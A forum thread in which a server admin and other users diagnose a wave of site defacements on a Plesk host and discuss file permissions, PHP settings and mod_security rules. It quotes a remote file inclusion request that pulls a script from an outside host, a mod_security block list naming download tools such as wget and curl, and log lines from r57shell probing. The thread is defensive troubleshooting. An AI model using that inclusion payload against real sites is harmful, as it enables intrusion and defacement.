Sites defaced on server. How?!

[Limedrink]

Many sites today have been defaced with:

hacked by fast_vagrant

It seems like the sites affected are those with index.php, index.html, or config.php files that are chmoded 777.

I have followed MANY steps in securing my server, from total SSH lock-down to chmoding binarys and securing the /tmp folder. Additionally, I am running mod_security in Apache and the latest version of Plesk with all of the updates.

I will edit this post later to include many more details regarding the security of the server itself.

I checked the /tmp dir, and the only thing that's not supposed to be there is a file called 'user.log' which was created around the time the deface-ments occurred. It is owned by user and group apache.

The file contains 1 line:

13:48:30 11/18/06 test1 [info] Authenticated : ,

Can anyone tell me how this happened? I'm thinking there may be others where they've been hacked the exact same way and may know some more information as to what happened.

Rkhunter reports nothing. I know the server has NOT been compromised. I feel like a script has been run that goes after files with those names that have insecure permissions.

If anyone has any information, please let me know.


Regards,

Limedrink.

 

[Traged1]

Do you have the accounts that were defaced running in php safe_mode ON?

Check your httpd audit_log from mod_sec, look for arbitrary php file inclusions, something like this:

----------
GET //components/com_htmlarea3_xtdc/popups/ImageManager/index.php?mosConfig_absolute_path=http://www.shinctl.us/crew/list.txt??
----------

Maybe they have used a file inclusion URL to execute shell commands from outside your server?

Do these php site pull info from a database? If so they may be using mysql injections to deface the site via changing the database entries?

 

[Traged1]

Since a script should never be chmod to 777 you could setup a cron job that would check for file extentions .php .php3 .cgi .pl, ext.. and then if found chmod them to 644. This would most likely help prevent this from happening again.

 

[Limedrink]

Thank you for the response Traged1.

PHP_Safe_mode is off globally. That's how the server was running in 7.5.4, I didn't think it would hurt to leave it off.

The sites were not defaced through MySQL. It simply looks like to me that any file named index.php, index.html, include.php, or config.php (and a few other specific names) got overwritten if it had insecure (777) permissions.

After several reports, I also found this website:

http://izumino.jp/Security/def.html

When I saw at least half a dozen of my site on that list, that's when I realized there was something wrong.

I'll check the mod_security logs later on today and see if I can come up with something.

Doesn't this mean that the attacker could have read any file in anyone's Vhost? I assume he used a file-injection method to globally deface these files.

Other than that, it seems like a lesson learned to the clients to keep secure permissions on their files.


Regards,

Limedrink.

 

[Traged1]

Yes that is most likely since the attacker would have gotten APACHE ownership, as long as anyfiles in any vhost that had apache ownership then he would have been able to read them. This must have been accomplished through an exploit that is located on this same very server. I would browse through your vhosts files looking for any insecure scripts such as old versions phpbb, coppermine, ect. Also, try to track down the timeframe that this occurred then look in the su_exec log for any script that was exectuted around that time and then investigate it. This does not hold true for php scripts, that is why I have been begging SW-Soft to run php under su_exec on PLESK, but so far 4 years of asking and no responce to date.

The alternative means would have been that one of your customers is the attacker himself, thus if he already had an account on your server, then he would have uploaded the exploitable file himself, then exectuted it which would effectively allow him to get APACHE rights. If this is the case I would look at your xfer logs to see if you can find anything fishy.

Other then that I would strongly urge you to run a tripwire audit on your system files, and also use chkrootkit scan. rkhunter may not pick up the sent if the attacker really knows what they are doing, plus they may have compromised your rkhunter itself, you shoudl re-install it and run another check.

 

[atomicturtle]

What rules were you using in mod_sec? The ones we put out at gotroot.com or the default as-shipped ruleset?

 

[Limedrink]

I set up the server over a year ago, so I'm not sure where I got the mod_security configuration from. Here it is:

<IfModule mod_security.c>
# Turn the filtering engine On or Off
SecFilterEngine On

# Change Server: string
SecServerSignature "Apache"


# This setting should be set to On only if the Web site is
# using the Unicode encoding. Otherwise it may interfere with
# the normal Web site operation.
SecFilterCheckUnicodeEncoding Off

# The audit engine works independently and
# can be turned On of Off on the per-server or
# on the per-directory basis. "On" will log everything,
# "DynamicOrRelevant" will log dynamic requests or violations,
# and "RelevantOnly" will only log policy violations
SecAuditEngine RelevantOnly

# The name of the audit log file
SecAuditLog logs/audit_log

# Should mod_security inspect POST payloads
SecFilterScanPOST On

# Action to take by default
SecFilterDefaultAction "deny,log,status:403"

## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ##

# Require HTTP_USER_AGENT and HTTP_HOST in all requests
# SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$"

# Require Content-Length to be provided with
# every POST request
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"

# Protecting from XSS attacks through the PHP session cookie
SecFilterSelective ARG_PHPSESSID "!^[0-9a-z]*$"
SecFilterSelective COOKIE_PHPSESSID "!^[0-9a-z]*$"

SecFilter "viewtopic\.php\?" chain
SecFilter "chr\(([0-9]{1,3})\)" "deny,log"

# Block various methods of downloading files to a server
SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST "lynx "
SecFilterSelective THE_REQUEST "scp "
SecFilterSelective THE_REQUEST "ftp "
SecFilterSelective THE_REQUEST "cvs "
SecFilterSelective THE_REQUEST "rcp "
SecFilterSelective THE_REQUEST "curl "
SecFilterSelective THE_REQUEST "telnet "
SecFilterSelective THE_REQUEST "ssh "
SecFilterSelective THE_REQUEST "echo "
SecFilterSelective THE_REQUEST "links -dump "
SecFilterSelective THE_REQUEST "links -dump-charset "
SecFilterSelective THE_REQUEST "links -dump-width "
SecFilterSelective THE_REQUEST "links http:// "
SecFilterSelective THE_REQUEST "links ftp:// "
SecFilterSelective THE_REQUEST "links -source "
SecFilterSelective THE_REQUEST "mkdir "
SecFilterSelective THE_REQUEST "cd /tmp "
SecFilterSelective THE_REQUEST "cd /var/tmp "
SecFilterSelective THE_REQUEST "cd /etc/httpd/proxy "
SecFilterSelective THE_REQUEST "/config.php?v=1&DIR "
SecFilterSelective THE_REQUEST "/../../ "
SecFilterSelective THE_REQUEST "&highlight=%2527%252E "
SecFilterSelective THE_REQUEST "changedir=%2Ftmp%2F.php "
SecFilterSelective THE_REQUEST "arta\.zip "
SecFilterSelective THE_REQUEST "cmd=cd\x20/var "
SecFilterSelective THE_REQUEST "HCL_path=http "
SecFilterSelective THE_REQUEST "clamav-partial "
SecFilterSelective THE_REQUEST "vi\.recover "
SecFilterSelective THE_REQUEST "netenberg "
SecFilterSelective THE_REQUEST "psybnc "
SecFilterSelective THE_REQUEST "fantastico_de_luxe "
</IfModule>

Here is how I secured PHP:

disable_functions = system,popen,proc_open,proc_close,passthru

I used to have shell_exec disabled, but what I would find is that Application Vault packages wouldn't install. Darn!

Why do site applications ship out and tell users to CHMOD 777 files/directories?

Also, I did find an index.php file was untouched, and an index.html file was created in the same directory that was chmoded 777. This page actually contained HTML, graphics, etc. and different "hacked by fast_vagrant" code than the simple text one I mentioned in my first post.

I'm not too concerned about the whole thing, as it just seems like a small amount of sites were defaced; teaches them a lesson for having bad permissions, and me a lesson for not keeping security rules up-to-date. I'm still going to consider updating the mod_security rules though, and maybe looking over how I secured the server and possibly disable more.

I will also try and run tripwire and see how that works out. I'm 99.9% sure the system is not compromised. I've checked running processes, tmp directories, Plesk activity logs, and there's no way they are getting into SSH.

Thanks for all the help.

 

[Traged1]

That is a very basic setup, which does not appear to use any rules exect what you see. Did you add the following?

--------------
#And now, the rules
#Remove any of these Include lines you do not use or have rules for.
#Application protection rules
Include /etc/modsecurity/modsecurity-general.conf
Include /etc/modsecurity/modsecurity-hardening.conf
Include /etc/modsecurity/modsecurity-output.conf
Include /etc/modsecurity/modsecurity-php.conf
--------------

 

[Limedrink]

The /etc/modsecurity directory does not even exist.

I'm running modsecurity version 1.8.7. I think it's definitely time for an upgrade.

I guess I can conclude that the attacker used a PHP exloit to inject into files that were globally writable and accessible by Apache and that this could have been prevented with keeping Modsecurity up-to-date and having secure permissions on files/folders in the first place.

Lessons learned

Thanks for all the help.


Regards,

Limedrink.

 

[atomicturtle]

Mod_security rules are very much like anti-virus rules. Youve got to update them frequently. Last time I checked mike and I had put together about 20,000 on gotroot.com. That covers both windows and linux, as well as other control panel environments. So using all of them is probably overkill for your environment.

In ASL (our commercial distribution of mod_security/linux kernel) I've tuned that down to around 7000 core ones that you just cant live without on a Linux based PSA box.

Looking at your mod_sec config, its pretty minimal. So its not surprising that the badguys were able to get around it.

 

[Botham]

We are running ASL. What is the best process for updating the gotroot rulesets? Are these meant to be done by hand or can the ASL channel run some magic?

 

[Traged1]

Not sure about ASL but with mod_sec if you are using all of the default rules, it is quite simple. You do a wget to the new rules and then overwrite the old files, which can be done through a cron job each day or so. This is only a good method if you are willing to use all the new rules in the ruleset. In our case we cannot since we need to use custom rules to allow coldfusion admin access, MB access, frontpage, ect.I'm sure ART will be able to elaborate more for you.

 

[atomicturtle]

We'll have a rule updater in the 2.0 ASL release.

 

[Botham]

mod_security auto-updater sounds very appealing.

But same as above, we have had to comment out a few rules or adjust them to keep things like horde working properly.

How to auto update and preserve commented out rules...

 

[Limedrink]

Hey guys,

Woke up this morning and EVERY site has been defaced (again).

I have modsecurity running in PHP with the gotroot.com ruleset (snipped down a bit - got rid of the IP blocks and some MySQL restrictions). I don't see how this could have happened. I have put some serious time into securing the server.

I see the files that they used in the /tmp folder, they are perl scripts owned by Apache. It injects any file called index recursively (which explains why the infected files are still owned by the same user?).

This is what I got from Apache's access_log:

127.0.0.1 - - [17/Feb/2007:09:13:36 -0600] "GET /r57shell_version/version.php?version=131 HTTP/1.0" 404 226 "-" "-"
127.0.0.1 - - [17/Feb/2007:09:14:06 -0600] "GET /r57shell_version/version.php?version=131 HTTP/1.0" 404 226 "-" "-"
127.0.0.1 - - [17/Feb/2007:09:14:23 -0600] "GET /r57shell_version/version.php?version=131 HTTP/1.0" 404 226 "-" "-"
127.0.0.1 - - [17/Feb/2007:09:16:30 -0600] "GET /r57shell_version/version.php?version=131 HTTP/1.0" 404 226 "-" "-"
127.0.0.1 - - [17/Feb/2007:09:17:37 -0600] "GET /r57shell_version/version.php?version=131 HTTP/1.0" 404 226 "-" "-"
127.0.0.1 - - [17/Feb/2007:09:18:03 -0600] "GET /r57shell_version/version.php?version=131 HTTP/1.0" 404 226 "-" "-"
127.0.0.1 - - [17/Feb/2007:09:18:32 -0600] "GET /r57shell_version/version.php?version=131 HTTP/1.0" 404 226 "-" "-"


I've attached a zip file with all of the files that I found in the /tmp folder that are related to the attack.

Any suggestions/ideas would be GREATLY appreciated.


Thanks,

Limedrink.

 

[Limedrink]

By the way, I have /tmp mounted with noexec.

I'm going to try and attach my zip file again. Didn't go through last time...


EDIT: I don't see it... What am I doing wrong now?!

 

[Traged1]

Check to ensure that your users index files are not chmodded to 777, they should all be chmod 751, also each domain should have it's own UID which should be assigned to the files in thier accounts.

Next, someone has a script running on your server which is alowing this tmp upload. Did you secure the tmp partition, or first of all, is your tmp folder in it's own partition?

 

[Traged1]

Sorry I did not see that last post. After you secured your tmp partition by editing your /etc/ftab file did you reboot the server?

 

[Limedrink]

Thanks for the reply, traged1.

Index files aren't 777 (I know this for SURE).

Tmp is on it's own partition, mounted with noexec.

The files I found weren't even chmodded executable.

Can you see my attached file?? I tried twice to upload it and I can't see it.

 

[Traged1]

You might not be doing anything wrong. to me it looks like one of your users is hosting an insecure script whcih is allowing this exploit to occurr. You must locate this script and remove it from your server. Can you please post some of your /var/log/httpd/audit_log file around the time of the attack?